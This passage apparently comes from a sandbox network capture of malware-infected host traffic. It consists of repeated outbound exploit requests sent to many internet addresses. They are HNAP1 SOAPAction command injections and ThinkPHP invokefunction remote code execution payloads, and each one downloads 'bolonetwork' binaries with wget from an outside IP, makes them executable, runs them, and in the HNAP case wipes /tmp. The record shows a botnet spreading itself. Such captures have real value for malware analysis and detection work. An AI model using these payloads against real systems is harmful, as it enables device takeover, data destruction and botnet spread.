70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.13	37466	216.77.147.81	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.005460978 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.13	46618	95.160.145.121	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.006362915 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.13	55516	95.91.176.183	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.009047031 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.13	37472	154.38.133.150	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.012877941 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.13	43090	1.220.154.182	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.013104916 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.13	48154	95.12.175.93	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.013662100 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.13	54132	95.194.234.149	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.015279055 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.13	59034	178.81.111.121	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.015333891 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	33900	95.89.249.69	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.016859055 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	37628	223.9.8.159	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.017782927 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	57834	95.228.200.238	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.018119097 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	45248	157.212.128.61	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.022438049 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	57078	95.127.71.38	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.027149916 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	52842	136.231.77.244	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.030884981 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	53648	95.214.250.8	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.034328938 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	48176	68.152.129.142	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.039359093 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	39770	95.129.69.195	80

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.043188095 CEST	338	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://15.235.203.214/bolonetwork.x86 -O /tmp/.bulusech; chmod 777 /tmp/.bulusech; /tmp/.bulusech selfrep.php' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Bulu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	57658	206.53.199.156	8081

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:05:44.044285059 CEST	807	OUT	POST /HNAP1/ HTTP/1.0 Content-Type: text/xml; charset="utf-8" SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap` Content-Length: 640 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 [TRUNCATED] Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" 